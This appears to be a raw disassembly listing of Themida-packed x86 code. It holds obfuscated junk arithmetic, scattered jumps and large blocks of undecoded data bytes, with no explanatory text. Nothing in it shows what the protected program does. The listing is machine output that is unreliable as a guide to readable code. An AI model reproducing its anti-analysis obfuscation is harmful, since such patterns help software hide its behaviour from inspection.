push 10B43875h
pop esi
xor esi, 127843BCh
mov ebx, esi
pop esi
sub eax, ebx
jmp loc_546C68
; ---------------------------------------------------------------------------
dd 4C481h, 0EF800000h, 80E728E4h, 0E958E4C7h, 0FFFF9D1Dh
dd 0EAA2F781h, 0FE2937A3h, 0E9D6015Fh, 0FFFFE39Fh
; ---------------------------------------------------------------------------
loc_54D620: ; CODE XREF: Themida_:0054AFFBj
push edx
push edi
push ecx
mov ecx, 9716F2Fh
not ecx
not ecx
xor ecx, 299B0AE6h
jmp loc_542222
; ---------------------------------------------------------------------------
db 30h
dd 2434FFC8h, 0E0895059h, 405h, 4BA5200h, 0E9000000h, 0FFFF62DDh
dd 70CCE950h, 74FFFFFFh, 0E95E0424h, 0FFFFAE00h, 95BD829h
dd 0BB5358C5h, 23503E0Ah, 0F95EB81h, 0DD3104BBh, 0FF3E37E9h
dd 4C181FFh, 0E9000000h, 0FFFFD926h, 0C0FE610Ch, 0C100752Ch
dd 0FF915BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D691: ; CODE XREF: Themida_:0054B8F0j
add [esp+4], edx
mov edx, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
push 4B59h
mov [esp], ebx
mov ebx, 14ED52B7h
jmp loc_544BCD
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 324AC681h, 0F289E7F5h, 2EAC15Eh, 338ECA81h, 0BD552FE1h
dd 1, 0FF49A0E9h, 3BF681FFh, 8116A75Bh, 0E85684C6h, 5285E918h
dd 0F766FFFFh, 0E99C241Ch, 0FFFF3C84h
; ---------------------------------------------------------------------------
loc_54D6F4: ; CODE XREF: Themida_:0054C898j
mov eax, [esp]
push ecx
push 5141h
mov [esp], esp
push ecx
mov ecx, 4
jmp loc_542BAB
; ---------------------------------------------------------------------------
db 81h
dd 0CA2B95F5h, 23DF6830h, 0C890000h, 450AB924h, 0E5E90621h
dd 52FFFF55h, 6C51FEBAh, 0ECCA8131h, 8145BC3Fh, 0E00293EAh
dd 0B5DEE914h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D73A: ; CODE XREF: Themida_:00546C57j
pop ecx
add ecx, 52311EF6h
add ecx, 7D9DA20Dh
mov edx, ecx
pop ecx
mov ebp, edx
pop edx
push ebx
push eax
mov eax, 679F3E16h
jmp loc_54A166
; ---------------------------------------------------------------------------
db 83h, 0C0h, 4
dd 5C240487h, 4C481h, 0EEE90000h, 48FFFFB5h, 80BFA805h
dd 0F4EA818Ah, 0E9266111h, 0FFFF9607h, 0A5C38166h, 0EB816612h
dd 0B70F6900h, 4CFBE9C0h, 0BA52FFFFh, 0F654893h, 81924092h
dd 0B55F74CAh, 2EE95220h, 8BFFFFCDh, 0C481243Ch, 4, 5C243487h
dd 89243C89h, 4C781E7h, 83000000h, 1DE904C7h
db 43h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D7C3: ; CODE XREF: Themida_:0054A9E6j
push ebp
push ecx
push eax
mov eax, 155225B9h
and eax, 39CE4C75h
shl eax, 1
dec eax
and eax, 549630Ah
add eax, 549F5137h
mov ecx, eax
pop eax
mov ebp, ecx
pop ecx
sub [esp+8], ebp
jmp loc_54C0A4
; ---------------------------------------------------------------------------
dd 8324248Bh, 5CE904C4h, 80FFFF74h, 0D7E9BEC2h, 0FFFFF8h
dd 0E99C2404h, 0FFFF3B70h
; ---------------------------------------------------------------------------
loc_54D808: ; CODE XREF: Themida_:0054A6E2j
pop eax
dec esi
and esi, 1FDF5CC1h
jmp loc_549815
; ---------------------------------------------------------------------------
db 57h, 54h, 5Fh
dd 0FFE3CBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D81D: ; CODE XREF: Themida_:005482BAj
pop ebx
jmp loc_54CDD9
; ---------------------------------------------------------------------------
loc_54D823: ; CODE XREF: Themida_:0054194Bj
xchg esi, [esp]
pop esp
jmp loc_5476EF
; ---------------------------------------------------------------------------
dd 592434FFh, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 89243C89h
dd 0C335E9E7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D84A: ; CODE XREF: Themida_:0054273Bj
shr ecx, 0Bh
push ebx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_546F98
; ---------------------------------------------------------------------------
db 81h
dd 5244F3F6h, 7AF68137h, 29710015h, 0A570E9F7h, 0DF87FFFFh
dd 0DF31D3F7h, 0E4E9FB31h
db 8Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D87F: ; CODE XREF: Themida_:00548FDCj
mov [esp], esi
push edi
push esi
push ebp
mov ebp, 66B152ADh
mov esi, 86DDBE0h
sub esi, 140F2C2Ah
add esi, ebp
add esi, 140F2C2Ah
pop ebp
mov edi, esi
pop esi
sub edi, 1
shr edi, 8
sub edi, 215E4A3Ch
jmp loc_548CCA
; ---------------------------------------------------------------------------
loc_54D8B2: ; CODE XREF: Themida_:00549C1Bj
shl edx, 1
push dword ptr [edi+24h]
push 63D9h
mov [esp], eax
mov eax, 0FFFFFFFFh
push esi
mov esi, 549F5137h
add [esp+8], esi
pop esi
add dword ptr [esp+4], 587A0D41h
jmp loc_54A9DA
; ---------------------------------------------------------------------------
loc_54D8DC: ; CODE XREF: Themida_:00544C0Fj
pop ecx
jmp loc_54482D
; ---------------------------------------------------------------------------
loc_54D8E2: ; CODE XREF: Themida_:00543B72j
add esi, ebx
pop ebx
xchg esi, [esp]
pop esp
or edx, eax
shl edx, 1
push eax
mov eax, esp
jmp loc_54C214
; ---------------------------------------------------------------------------
db 68h, 0D1h, 77h
dd 14890000h, 45236824h, 0C890000h, 0F763E924h, 0E0C1FFFFh
dd 9B92E906h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D912: ; CODE XREF: Themida_:0054BBDBj
push edi
push 0B8C738Eh
pop edi
push edx
mov edx, 3D122D62h
sub edx, 22010CD7h
or edx, 2F15986h
xor edx, 0E40E8670h
add edi, edx
jmp loc_544AD8
; ---------------------------------------------------------------------------
dd 0DDDCE81h, 0E6C11EF8h, 0DDC68106h, 17C238Eh, 9FAFE9F2h
dd 6853FFFFh, 6A12h, 0BA241489h, 0FEh, 64B468h, 24148900h
dd 0E904EC83h, 0FFFFFC01h, 5C241487h, 91FC281h, 0B1E9590Dh
dd 0B6FFFF66h, 29E680BFh, 0FFB6D2E9h, 739105FFh, 3E2D2CACh
dd 0E9767D43h, 0FFFFB531h, 240C8B66h, 8581E956h, 0EC83FFFFh
dd 240C8904h, 613509B9h, 5049496Ah, 343A21B8h, 7E0C136h
dd 3504E8C1h, 0DADDE9Bh, 558C129h, 753F1B8Dh, 0FFCF62E9h
dd 0B704FFh, 0E9B72CD8h, 0FFFFF876h, 24048B66h, 7CA368h
dd 0DCABE900h, 0E929FFFFh, 0FFE014E9h, 2C8759FFh, 91E95C24h
dd 68FFFFE9h, 35FFh, 89241489h, 4BF57E2h, 50000000h, 0FF89C2E9h
dd 325B05FFh, 51577021h, 620340B9h, 3B94BF5Bh, 0CF29BBBBh
dd 81DFF759h, 0FF38DCE7h, 8EFC133h, 8107EFC1h, 74C764F7h
dd 0A8E6E905h, 875EFFFFh, 545C2414h, 0E924048Fh, 0FFFF4C38h
dd 4C7815Fh, 83000000h, 3C8704C7h, 8B67E924h, 0BD55FFFFh
dd 4, 0E95DEA01h, 0FFFF45C8h, 241C8966h, 8904EC83h, 0EDB62414h
dd 38E9CEFEh, 66FFFFCEh, 68CCB60Fh, 4F61h, 89243489h, 7BF57E6h
dd 81355079h, 0D05044F7h, 0F7E78116h, 87684827h, 0A6BBE9CFh
dd 0FA13FFFFh, 3A10059h, 0CA640059h, 94BD0059h, 959CFA0Bh
dd 3A1FFFFh, 8EB0059h, 213AD25h, 20000h, 2 dup(10000h)
dd 94BD0000h, 0FA0Bh, 4 dup(0)
dd 0C1F90000h, 0F8A80055h, 14CA0055h, 88780056h, 25680055h
dd 9A2E0056h, 8A460055h, 758A0055h, 0B8FD0055h, 0A0630055h
dd 0E0F30055h, 0BA50055h, 0D9A0056h, 237B0056h, 0C95B0056h
dd 165D0055h, 0B8200056h, 83E60055h, 7D3A0055h, 0EEC0055h
dd 8BFA0056h, 424D0055h, 0FF4F0055h, 0D0E40055h, 85600055h
dd 165F0055h, 0FEC40055h, 0DCBB0055h, 0F3320055h, 0CF180054h
dd 0DF210055h, 0B5170054h, 0ACE50055h, 38A70055h, 0B65A0055h
dd 2770055h, 99D80056h, 6B800055h, 0C4EB0055h, 94AC0055h
dd 0A86B0055h, 6CFD0055h, 9EEF0055h, 5E8B0055h, 8F3C0055h
dd 0E5360055h, 90FD0055h, 1BB60055h, 98890056h, 0F7180055h
dd 8C4B0055h, 5B9E0055h, 1AF40055h, 1C7E0056h, 0E23F0056h
dd 0E8FC0055h, 0CE080054h, 511C0055h, 0BB1E0055h, 0BAE0055h
dd 4F5E0055h, 9FC10055h, 0E2550055h, 9DC20054h, 635D0055h
dd 93F50055h, 0C62B0055h, 0E5BB0055h, 0C7A60054h, 19000055h
dd 33990056h, 0F3290055h, 78E90054h, 869F0055h, 13410055h
dd 0F6130055h, 0AC3C0054h, 11840055h, 0D5B20055h, 0AF0B0055h
dd 0D6170055h, 7B330055h, 5EFF0055h, 0E4890055h, 0F570055h
dd 28400056h, 32220055h, 0EE960055h, 0F800055h, 3EC0056h
dd 0F01C0055h, 0F94D0055h, 0D2BE0055h, 64F0055h, 0C98B0056h
dd 0D9490055h, 0CA2B0055h, 3400055h, 0C8680056h, 6F210055h
dd 0FD9F0055h, 10B20054h, 0FEA10056h, 0F40D0054h, 8BA90054h
dd 0FE880055h, 0EBC40055h, 89C40055h, 29320055h, 0FD290055h
dd 7D950054h, 5E5C0055h, 0E99E0055h, 9E070055h, 69820055h
dd 917A0055h, 24BE0055h, 2C0F0056h, 53740055h, 72F40055h
dd 0F7C00055h, 0AB290054h, 90D60055h, 4520055h, 95C0055h
dd 68FD0055h, 0F9E60055h, 16D00054h, 0D06E0056h, 17330055h
dd 39D0055h, 0CC2E0055h, 6FEE0055h, 8FDE0055h, 9B1B0055h
dd 0C8A50055h, 0A82D0055h, 2EBE0055h, 24370055h, 7F20056h
dd 56150056h, 0FC7F0055h, 0DE760055h, 26900055h, 2BF20056h
dd 0C2F70055h, 20B40055h, 1AB00056h, 8B70055h, 0E1270056h
dd 0E130054h, 70770056h, 50050055h, 0A2BC0055h, 0FD230055h
dd 0DCE90054h, 0E0D00055h, 11030054h, 60930055h, 87520055h
dd 0A2520055h, 0EAB90055h, 3720054h, 0C1D80056h, 0E9E60055h
dd 0A8C20054h, 0ACB00055h
db 55h, 0
; ---------------------------------------------------------------------------
loc_54DD7E: ; CODE XREF: Themida_:0059AA3Ej
; Themida_:0059F9C4j
pusha
pushf
cld
call $+5
pop edi
sub edi, 64948C9h
mov eax, edi
add edi, 64945E1h
cmp eax, [edi+2Ch]
jnz short loc_54DD9C
jmp short loc_54DDAF
; ---------------------------------------------------------------------------
loc_54DD9C: ; CODE XREF: Themida_:0054DD98j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_54DDAB
; ---------------------------------------------------------------------------
loc_54DDA6: ; CODE XREF: Themida_:0054DDADj
add [edi+ecx*4+40h], eax
dec ecx
loc_54DDAB: ; CODE XREF: Themida_:0054DDA4j
or ecx, ecx
jnz short loc_54DDA6
loc_54DDAF: ; CODE XREF: Themida_:0054DD9Aj
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_54DDBC: ; CODE XREF: Themida_:0054DDC3j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_54DDBC
loc_54DDC5: ; CODE XREF: Themida_:0054F238j
; Themida_:00550D8Aj ...
lodsb
jmp loc_5616B8
; ---------------------------------------------------------------------------
loc_54DDCB: ; CODE XREF: Themida_:00559DEDj
mov edx, 1E400AA7h
or edx, 0ADF0397h
not edx
xor edx, 3BB70485h
add edx, 72431EA3h
jmp loc_554219
; ---------------------------------------------------------------------------
loc_54DDE9: ; CODE XREF: Themida_:00558B78j
shl edx, 1
sub esp, 4
mov [esp], ecx
mov ecx, 1
sub esp, 4
mov [esp], ebx
push 177Fh
jmp loc_54E14D
; ---------------------------------------------------------------------------
dd 74FF535Dh, 1C8B0424h, 2216E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54DE1A: ; CODE XREF: Themida_:005608DDj
push edi
mov edi, 3AA76C90h
dec edi
inc edi
xor edi, 33361B90h
mov eax, edi
jmp loc_559AC4
; ---------------------------------------------------------------------------
db 5
aVSe? db 'Ôv¿-é…?',0
dd 0F43BB00h, 0E2E92AFCh, 520000B3h, 24148B54h, 12546E9h
dd 5356BF00h, 0FA012E99h, 0C923E9h
db 0
; ---------------------------------------------------------------------------
loc_54DE59: ; CODE XREF: Themida_:0055DBE9j
shr esi, 4
inc esi
sub esi, 9C68E3C2h
push esi
pop ebx
pop esi
mov ecx, ebx
jmp loc_55405D
; ---------------------------------------------------------------------------
aRitsE db 'R‰âéÊE',0
db 0
; ---------------------------------------------------------------------------
loc_54DE75: ; CODE XREF: Themida_:0055EDD8j
mov ebx, 729206AEh
mov ebp, ebx
pop ebx
and ebx, ebp
pop ebp
or ebx, 59030624h
shr ebx, 8
shl ebx, 5
add ebx, 6D641130h
mov edx, ebx
pop ebx
jmp loc_5565C6
; ---------------------------------------------------------------------------
dw 34FFh
aWts db '$[WTéÒ&',0
dd 29EA8100h, 0E948A31Bh, 4190h
; ---------------------------------------------------------------------------
loc_54DEB0: ; CODE XREF: Themida_:005515B2j
sub esp, 4
jmp loc_554092
; ---------------------------------------------------------------------------
loc_54DEB8: ; CODE XREF: Themida_:00555E57j
shr edi, 8
shr edi, 1
jmp loc_560F5F
; ---------------------------------------------------------------------------
dw 0FEE9h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DEC7: ; CODE XREF: Themida_:005549ECj
mov [esp], eax
push dword ptr [esp+4]
jmp loc_54F095
; ---------------------------------------------------------------------------
loc_54DED3: ; CODE XREF: Themida_:00557CCCj
add edi, 2B040EECh
jmp loc_558229
; ---------------------------------------------------------------------------
dw 3168h
dd 89000072h, 1CB82404h, 0E962534Eh, 121D1h
; ---------------------------------------------------------------------------
loc_54DEF0: ; CODE XREF: Themida_:0055E385j
add ebx, 0D7DB6504h
jmp loc_554AF6
; ---------------------------------------------------------------------------
loc_54DEFB: ; CODE XREF: Themida_:00558B96j
and esi, 40C83625h
add esi, 3A5256E6h
add edi, esi
pop esi
mov edx, [esp]
add esp, 4
sub [esp+8], edi
pop edi
pop eax
jmp loc_5604BF
; ---------------------------------------------------------------------------
aS_5 db '\é!Ð',0
dd 8E9AC00h, 0F7000066h, 0C78147DFh, 1F651ABBh, 82B2E9h
dd 8EB95100h, 0F7336B55h, 0D2C181D9h, 0F740E834h, 5E9C1D1h
dd 0F34BE981h, 75E95985h, 83000047h, 0B32D04C4h, 2D6B0421h
dd 260C302Fh, 2F05F801h, 5260C30h, 6B0421B3h, 81243C8Bh
dd 4C4h, 32E95000h, 5A0000E9h, 0E902C183h, 12005h, 0FFFE3CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54DF89: ; CODE XREF: Themida_:0055ADA1j
sub bl, 32h
mov ax, [esp]
add esp, 2
add bl, 0BAh
jmp loc_550E05
; ---------------------------------------------------------------------------
db 66h
dd 31B0CB81h, 14477E9h, 2CD82800h, 5B74E9EEh, 575B0000h
dd 4EC81h, 34890000h, 59C0E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54DFBE: ; CODE XREF: Themida_:00560573j
xor [esp], eax
push eax
jmp loc_5621FF
; ---------------------------------------------------------------------------
db 1
dd 0E7C181F1h, 8B221F09h, 0EEE92434h, 4000013h, 8BC68835h
dd 0C4832404h, 282F0404h, 8B2F2CF0h, 0C4812414h, 4, 8904EC83h
dd 0D2B22414h, 4EC8150h, 89000000h, 44B3241Ch, 88A6EB80h
dd 241C8BDCh, 804C483h, 2434FFE2h, 9788E9h, 4875B00h, 0C7015C24h
dd 14287E9h
db 0
; ---------------------------------------------------------------------------
loc_54E025: ; CODE XREF: Themida_:0055CB38j
mov edx, 71FE0976h
jmp loc_561ACF
; ---------------------------------------------------------------------------
loc_54E02F: ; CODE XREF: Themida_:00552AFBj
shr ebp, 3
add ebp, 5AFF362Ch
add ebp, 8E888262h
add ecx, ebp
pop ebp
push 67C5h
mov [esp], ebp
jmp loc_54F4C9
; ---------------------------------------------------------------------------
dw 8B5Eh
dd 0C4812404h, 4, 1FE95346h, 830000AAh, 0C8904ECh, 81E18924h
dd 4C1h, 4C18300h, 31240C33h, 0C33240Ch, 1608E924h, 0F75C0001h
dd 2CB968E9h, 14890000h, 0E99C5024h, 0FFFFFD35h, 20B2C581h
dd 0D5294268h, 20B2ED81h, 295A4268h, 242C8BEBh, 8104C483h
dd 2F739CC3h, 4EC811Bh, 0E9000000h, 0A927h, 0C581E589h
dd 4, 0AE8E9h, 0D3665C00h, 0E99C242Ch, 0C9D4h, 9D1C77FFh
dd 19665866h, 0E99C2404h, 0FFFFFCE5h, 2DD9EB81h, 0B95152BCh
dd 529121D8h, 0C8BCB29h, 4208E924h, 0E6890000h, 4C681h
dd 0C6810000h, 4, 0E9243487h, 5F46h
; ---------------------------------------------------------------------------
loc_54E10C: ; CODE XREF: Themida_:005563FBj
add cl, 0
jmp loc_5544B4
; ---------------------------------------------------------------------------
dd 7DA9EE81h, 0EE017A8Dh, 7DA9C681h, 9E97A8Dh, 0AD000144h
dd 0EC83D831h, 24348904h, 0B34E1BEh, 4EC8326h, 0BB241C89h
dd 0
dd 0ECE9F329h, 5C00005Bh, 1128BE9h
db 0
; ---------------------------------------------------------------------------
loc_54E14D: ; CODE XREF: Themida_:0054DE07j
mov [esp], esi
push eax
mov eax, 69E43CA0h
and eax, 0C9E728Eh
xor eax, 248E3FD5h
shl eax, 7
push ecx
jmp loc_54F80C
; ---------------------------------------------------------------------------
db 81h, 0F1h, 61h
dd 21303B2Bh, 2434FFC8h, 81240C8Bh, 4C4h, 4C48100h, 9000000h
dd 1BA4E9C0h, 0EF810001h, 43E507E9h, 2D7FEF81h, 0C7811219h
dd 6E952EA9h, 0F781D7F7h, 0AE2BA2E2h, 15FF889h, 685058C5h
dd 2, 0E9C50158h, 0C517h, 1B1168h, 80ADE900h, 0D6F60000h
dd 0C680C6FEh, 94E9539Dh, 89000079h, 5EF389FEh, 24348153h
dd 400A3663h, 22BF5758h, 810E9071h, 8D50E8EFh, 8E7C104h
dd 7F54C781h, 0D7F71C05h, 73C9CF81h, 0C78170C4h, 4F2BBE78h
dd 5B5FF831h, 5414685Fh, 4890000h, 38428F24h, 8B2434FFh
dd 0A4682404h, 89000048h, 0E189240Ch, 4C181h, 0A4680000h
dd 8900004Fh, 0BDE9241Ch, 8300012Fh, 0F80002C4h, 5B66732Ch
dd 0A62CC828h, 4EC8359h, 52240C89h, 0F1881BB6h, 8DF1805Ah
dd 1A90E9h, 0C8B6600h, 2CF76824h, 14890000h, 68E28924h
dd 730h, 0E9242C89h, 135DDh, 6733B951h, 0E181617Fh, 1B516D7Eh
dd 0DAC6E9h
db 0
; ---------------------------------------------------------------------------
loc_54E281: ; CODE XREF: Themida_:0055F726j
sub al, 6Ch
jmp loc_55A5C2
; ---------------------------------------------------------------------------
loc_54E288: ; CODE XREF: Themida_:0055CDBFj
add ebp, eax
sub ebp, 1F8B4BFFh
pop eax
push edi
jmp loc_55F31A
; ---------------------------------------------------------------------------
loc_54E297: ; CODE XREF: Themida_:0055ADA9j
push eax
mov al, 23h
sub dl, al
pop eax
mov bl, dl
mov edx, [esp]
push esi
push esp
pop esi
add esi, 4
add esi, 4
push esi
jmp loc_5509D5
; ---------------------------------------------------------------------------
dd 0E9240487h, 0E2ECh, 52243489h, 15076FBAh, 2DE28114h
dd 55782E0Eh, 4062BBDh, 5DBE5610h, 291A7676h, 0EA295EF2h
dd 4D685751h, 5F77925Bh, 6123E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E2EA: ; CODE XREF: Themida_:00556DAFj
add esp, 4
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ecx
push esp
jmp loc_555749
; ---------------------------------------------------------------------------
aRtsr db 'RTéà¶',0
align 2
dw 0B850h
dd 411A630Ah, 0DA58B635h, 58C70121h, 243C3359h, 33243C31h
dd 20E9243Ch
db 47h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E327: ; CODE XREF: Themida_:00553FB8j
add esp, 4
jmp loc_551540
; ---------------------------------------------------------------------------
loc_54E32F: ; CODE XREF: Themida_:005509F9j
pop esi
push ebp
mov ebp, 1F8D4503h
add ebp, 41DF7273h
and ebp, 3F247457h
xor ebp, 41BA46B5h
jmp loc_55B9F5
; ---------------------------------------------------------------------------
db 1, 0F3h, 81h
dd 0CC3EEBC3h, 46E95E77h, 5000119h, 4, 32D6E951h, 1050000h
dd 2D000000h, 0FFFFFFFFh, 3505E8C1h, 72FA71C6h, 0C275C105h
dd 58C321ADh, 0F6FAC381h, 5953DF41h, 81241C8Bh, 4C4h, 3A5F300h
dd 7A683862h, 8900003Eh, 68572404h, 0
dd 46E9535Fh
db 2Ch, 1, 0
; ---------------------------------------------------------------------------
loc_54E3AB: ; CODE XREF: Themida_:00552F93j
pop eax
sub dh, bl
mov ebx, [esp]
add esp, 4
add dh, 9Dh
sub dh, al
push ecx
push 12Dh
mov [esp], ebx
mov bh, 3Bh
jmp loc_55886B
; ---------------------------------------------------------------------------
loc_54E3CC: ; CODE XREF: Themida_:0055ACD1j
sub ebp, edx
mov edx, [esp]
add esp, 4
add ebp, edi
jmp loc_557C8E
; ---------------------------------------------------------------------------
loc_54E3DE: ; CODE XREF: Themida_:00561E47j
neg ch
xor ch, 84h
inc ch
push eax
mov ah, 0BFh
jmp loc_54F2DB
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 874E9h
db 0
; ---------------------------------------------------------------------------
loc_54E3F5: ; CODE XREF: Themida_:0055840Cj
add esp, 4
xor edx, edx
jmp loc_54E723
; ---------------------------------------------------------------------------
dw 0E95Ch
dd 149Fh
; ---------------------------------------------------------------------------
loc_54E408: ; CODE XREF: Themida_:00555571j
add eax, ebp
sub eax, 2B224A55h
mov ebp, [esp]
push eax
jmp loc_557A5C
; ---------------------------------------------------------------------------
dd 2A6BEF81h, 40E90518h, 0B8000027h, 353D6297h, 59236505h
dd 95AE953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E432: ; CODE XREF: Themida_:0055A3CFj
add esp, 4
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edx
push ebx
mov ebx, 68330F44h
jmp loc_557C40
; ---------------------------------------------------------------------------
dd 927FE953h, 0F8010000h, 0E42E2505h, 243C8B62h, 0E904C483h
dd 0C775h
; ---------------------------------------------------------------------------
loc_54E468: ; CODE XREF: Themida_:00550A16j
pop dword ptr [esp]
not edi
xor [esp], edi
xor edi, [esp]
xor [esp], edi
push dword ptr [esp]
pop edi
add esp, 4
xchg edi, [esp]
mov eax, [esp]
push ecx
mov ecx, esp
push ebp
mov ebp, 35F70830h
jmp loc_55BC28
; ---------------------------------------------------------------------------
db 0BDh, 0B5h, 72h
dd 0CD2967F2h, 1289AE9h, 82685A00h, 89000059h, 0B7E92404h
dd 830000D2h, 90E904C4h, 5100003Eh, 5404EC83h, 8124048Fh
dd 42404h, 50590000h, 0DA600AB8h, 5E8C173h, 9ED2FC2Dh
dd 0E9C10103h, 0B8E1h
; ---------------------------------------------------------------------------
loc_54E4D8: ; CODE XREF: Themida_:0055BDD4j
sub [edi+24h], eax
jmp loc_5583BB
; ---------------------------------------------------------------------------
dd 0E904EC83h, 84EAh, 24148966h, 59E9ECB2h, 5200001Ah
dd 105245BAh, 5AD50126h, 0B362E9h, 0F6C78600h, 0C0C786D0h
dd 6805EFh, 28000000h, 3C8A243Ch, 4C48324h, 8030C780h
dd 0FD882AF7h, 83241C8Bh, 0E5C004C4h, 0FED5F608h, 199A68C5h
dd 1C890000h, 0FE7AB724h, 0C0EFD0CFh, 0F4E903EFh, 66000109h
dd 8166DD29h, 667986C5h, 5D66EB89h, 0C8F38166h, 102D666Ch
dd 0D829662Bh, 0EEBF6657h, 0AE1E936h, 0C5880000h, 0D10E9h
dd 4C48300h, 7F240481h, 0E920B148h, 4479h, 1354BA52h, 9E90724h
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E587: ; CODE XREF: Themida_:005571DEj
not ebx
jmp loc_552E7D
; ---------------------------------------------------------------------------
loc_54E58E: ; CODE XREF: Themida_:005565D6j
add edx, ebp
pop ebp
xor edx, [esp]
xor [esp], edx
jmp loc_557F51
; ---------------------------------------------------------------------------
loc_54E59C: ; CODE XREF: Themida_:00561027j
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_551667
; ---------------------------------------------------------------------------
aUS db 'U½Û·ÕÅé}$',0
dw 0FF00h
dd 669D1C77h, 241CD359h, 0F7FBE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E5CA: ; CODE XREF: Themida_:00561B3Fj
mov ebx, 0CC3AC0AEh
jmp loc_557882
; ---------------------------------------------------------------------------
aRS db 'Àà',8,',}é±]',0
align 2
loc_54E5DE: ; CODE XREF: Themida_:0055B4F0j
mov esi, [esp]
push eax
mov eax, esp
jmp loc_55FA63
; ---------------------------------------------------------------------------
a5aiAs db '5ˆ',0Ah
db 'éÏÄ',0
db 0
; ---------------------------------------------------------------------------
loc_54E5F3: ; CODE XREF: Themida_:0055F7D0j
push edi
mov edi, 1527268Eh
sub [esp+8], edi
pop edi
jmp loc_550265
; ---------------------------------------------------------------------------
db 5Ah
dd 405h, 24048700h, 0E9C3315Ch, 34Fh, 81242C8Bh, 4C4h
dd 0E3895300h, 4C381h, 0EB810000h, 4, 0E9241C87h, 27ECh
dd 74FF555Ah, 8F5D0424h, 248B2404h, 7A016824h, 4890000h
dd 28D56824h, 0E9540000h, 8FCBh, 1461ED81h, 0CD017F97h
dd 0A42E9h
db 0
; ---------------------------------------------------------------------------
loc_54E661: ; CODE XREF: Themida_:0055B81Bj
pop eax
jmp loc_5563F8
; ---------------------------------------------------------------------------
db 89h
dd 0F8B82404h, 51443442h, 1B9h, 59C80100h, 3A0FB951h, 0C831390Bh
dd 3E8C159h, 28B6E9h
db 0
; ---------------------------------------------------------------------------
loc_54E689: ; CODE XREF: Themida_:005580BFj
sub edx, 8144C9F8h
xor ebx, edx
pop edx
xor ebx, 15BD72ABh
xor ebp, ebx
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push eax
mov eax, 33251E3Ah
jmp loc_5608A7
; ---------------------------------------------------------------------------
dd 5366C5FEh, 0E2E9A7B7h, 590000EEh, 4C381h, 1C330000h
dd 241C3124h, 0E9241C33h, 9158h
; ---------------------------------------------------------------------------
loc_54E6D4: ; CODE XREF: Themida_:0055FD72j
push 2DA2h
mov [esp], ebx
mov ebx, 4
jmp loc_554133
; ---------------------------------------------------------------------------
dw 645Ch
dd 0E9028966h, 0FFFFF6D5h, 4C481h, 0C6810000h, 7A252065h
dd 24348156h, 69A65C1h, 9D54E9h
db 0
; ---------------------------------------------------------------------------
loc_54E709: ; CODE XREF: Themida_:0055689Aj
mov edx, 498D0758h
sub edx, 54F647A0h
jmp loc_55CA46
; ---------------------------------------------------------------------------
db 5Eh, 87h, 1Ch
aSy db '$\éYÞ',0
db 0
; ---------------------------------------------------------------------------
loc_54E723: ; CODE XREF: Themida_:0054E3FDj
push 6B7Ah
mov [esp], ebx
push ebp
mov ebp, 401E0E13h
xor [esp+4], ebp
jmp loc_55EA18
; ---------------------------------------------------------------------------
dw 1489h
aZSjsp db '$º‡*áJéP\',0
dw 8900h
dd 0BA52242Ch, 1F696D42h, 815AD589h, 9692C2C5h, 0C5EE81E0h
dd 0E92A7B43h, 0B379h, 42474FFh, 24048F59h, 8924248Bh
dd 4EE9240Ch, 66FFFFF6h, 0F31EE950h, 15E0000h, 348759CEh
dd 24248B24h, 51E78957h, 0F856E9h, 240C8700h, 0BAB0E9h
db 0
; ---------------------------------------------------------------------------
loc_54E799: ; CODE XREF: Themida_:0055049Ej
pop dword ptr [esp]
pop esp
mov [esp], edi
jmp loc_551D68
; ---------------------------------------------------------------------------
loc_54E7A5: ; CODE XREF: Themida_:00559854j
mov al, 0BDh
or al, 63h
inc al
neg al
jmp loc_55ABD6
; ---------------------------------------------------------------------------
dw 0BF57h
dd 47584EFEh, 56E7BA52h, 59E94BEEh, 50000A5h, 4E434BABh
dd 0AB2DF001h, 554E434Bh, 0AB210ABDh, 6EDC15Bh, 20DCE94Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E7DE: ; CODE XREF: Themida_:0055E081j
push 0
sub [esp], edi
pop edi
shr edi, 6
jmp loc_553681
; ---------------------------------------------------------------------------
db 4Fh
dd 2B87E781h, 0F78127AFh, 243656EAh, 0CD75EF81h, 0FB013480h
dd 8BD9015Fh, 8950241Ch, 405E0h, 0E8830000h, 24048704h
dd 241C895Ch, 0C381E389h, 4, 8704C383h, 815C241Ch, 2E9h
dd 240C8700h, 6624248Bh, 66241489h, 22474FFh, 24148B66h
dd 555F5457h, 200200BDh, 0E9D5F747h, 66Bh, 6491C681h, 0F6815FD2h
dd 76524EC4h, 348BF729h, 4C48324h, 0C781D701h, 2B62976h
dd 44DBEF81h, 148B6BCAh, 4C48324h, 3614BD55h, 0C58151C7h
dd 5F9B7DEDh, 0CAB85045h, 310D007Ch, 87E958C5h, 54000002h
